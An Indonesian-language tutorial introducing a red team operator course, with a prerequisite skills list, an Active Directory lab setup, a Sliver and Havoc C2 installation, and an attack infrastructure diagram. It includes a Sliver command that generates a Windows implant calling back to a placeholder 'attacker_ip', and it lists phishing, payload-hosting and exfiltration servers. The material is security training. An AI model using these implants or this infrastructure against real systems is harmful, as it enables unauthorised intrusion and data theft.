Belajar Red Team Operator - Pre-Requisites Skill & Setup Environment

#Pendahuluan

Selamat datang di series Belajar Red Team Operator! Series ini akan membawa kalian dari penetration tester berpengalaman menjadi Red Team Operator — profesi yang mensimulasikan adversary nyata untuk menguji deteksi & respons organisasi. Total ada 28 episode yang tersusun dalam enam fase, dari fondasi prasyarat hingga red team leadership.

Sebelum memulai, kalian harus memiliki foundation yang solid. Red team bukan entry-level — ini adalah langkah berikutnya setelah menguasai penetration testing. Episode 0 ini memastikan kalian memiliki semua prasyarat sebelum masuk ke adversary emulation.

#Skill Prasyarat

#Penetration Testing (OSCP-Level)

Red team berdiri di atas fondasi pentesting. Kalian harus sudah menguasai:

Network & web exploitation (SQL injection, XSS, RCE)
Privilege escalation (Linux & Windows)
Post-exploitation (persistence, lateral movement)
Active Directory basics (Kerberos, LDAP, BloodHound)
Metasploit & manual exploitation

bash

# Verifikasi fondasi pentesting
nmap --version
msfconsole --version
impacket-secretsdump --help

#Active Directory Deep Dive

AD bukan hanya "login ke Windows" — kalian harus memahami:

Konsep	Keterangan
Kerberos	TGT, TGS, SPN, delegation
Group Policy	GPO processing, forced password change
ACL & Trust	ACL abuse, trust relationships
Certificate Services	ADCS, ESC1-ESC8

#C2 Concepts

Command and Control adalah jantung red team operations:

text

C2 Architecture
================
1. Team Server  : central coordination
2. Implant       : agent running on target
3. Listener      : handles incoming connections
4. Redirector    : proxies traffic for OPSEC
5. Profile       : C2 traffic disguise

#Cloud Fundamentals

text

Cloud Knowledge Required
==========================
- AWS/Azure/GCP IAM model
- Metadata services (169.254.169.254)
- Cloud enumeration tools (Pacu, ScoutSuite)
- Container basics (Docker, Kubernetes)

#Lab Setup

#Active Directory Lab

text

AD Lab Requirements
====================
Domain Controller:
  - Windows Server 2022
  - AD DS, DNS, DHCP
  - 2+ user accounts dengan different privilege levels
 
Workstations:
  - Windows 10/11 (2+ machines)
  - Joined ke domain
  - Different OU configurations
 
Network:
  - Isolated virtual network (NAT/Bridged)
  - Internet access untuk C2 testing

#Virtualization Platform

bash

# VirtualBox (gratis)
# atau VMware Workstation Pro
 
# Network configuration:
# Adapter 1: NAT (internet access)
# Adapter 2: Internal Network (lab-isolated)
 
# Download:
# - Windows Server 2022 Evaluation (180 hari)
# - Windows 10/11 Evaluation
# - Kali Linux

#C2 Framework Setup

bash

# Sliver (open-source)
# Install
go install github.com/BishopFox/sliver@latest
 
# Generate implant
sliver-server
generate --mtls attacker_ip --os windows --arch amd64 --save /tmp/implant.exe
 
# Havoc (open-source)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-client
./havoc server --profile ./profiles/havoc.yaml

#Attack Infrastructure

text

Attack Infrastructure
======================
Attacker Machine (Kali Linux):
  ├── C2 Team Server (Sliver/Havoc)
  ├── Redirector (nginx/caddy)
  ├── Phishing infrastructure
  └── Data exfiltration server
 
Internet-Facing VPS:
  ├── C2 redirector
  ├── Phishing domain
  └── Payload hosting

Note

Untuk lab awal, satu Kali Linux + satu AD domain (DC + workstation) sudah cukup. Tambahkan redirector dan VPS saat kalian mulai testing OPSEC dan detection evasion.

#Verifikasi Environment

bash

# 1. C2 Framework
sliver-server version
 
# 2. Impacket
impacket-smbclient --help
 
# 3. BloodHound
bloodhound-python --help
 
# 4. AD connectivity
ldapsearch -x -H ldap://dc_ip -b "dc=domain,dc=com" -D "user@domain.com" -W
 
# 5. Lab network
ping dc_ip
ping workstation_ip

#Penutup

Inti yang harus dibawa pulang:

Prasyarat: pentester OSCP-level, AD deep, C2 concepts, cloud basics.
Lab: AD domain (DC + workstation), Kali Linux, C2 framework.
Attack infra: team server, redirector, phishing domain, VPS.
Verifikasi: semua tools dan connectivity teruji sebelum memulai.

Di episode 1 selanjutnya, kita akan membahas peran, misalignment, dan karir Red Team Operator — perbedaan dari pentester, konteks industri 2026, dan compensation expectations.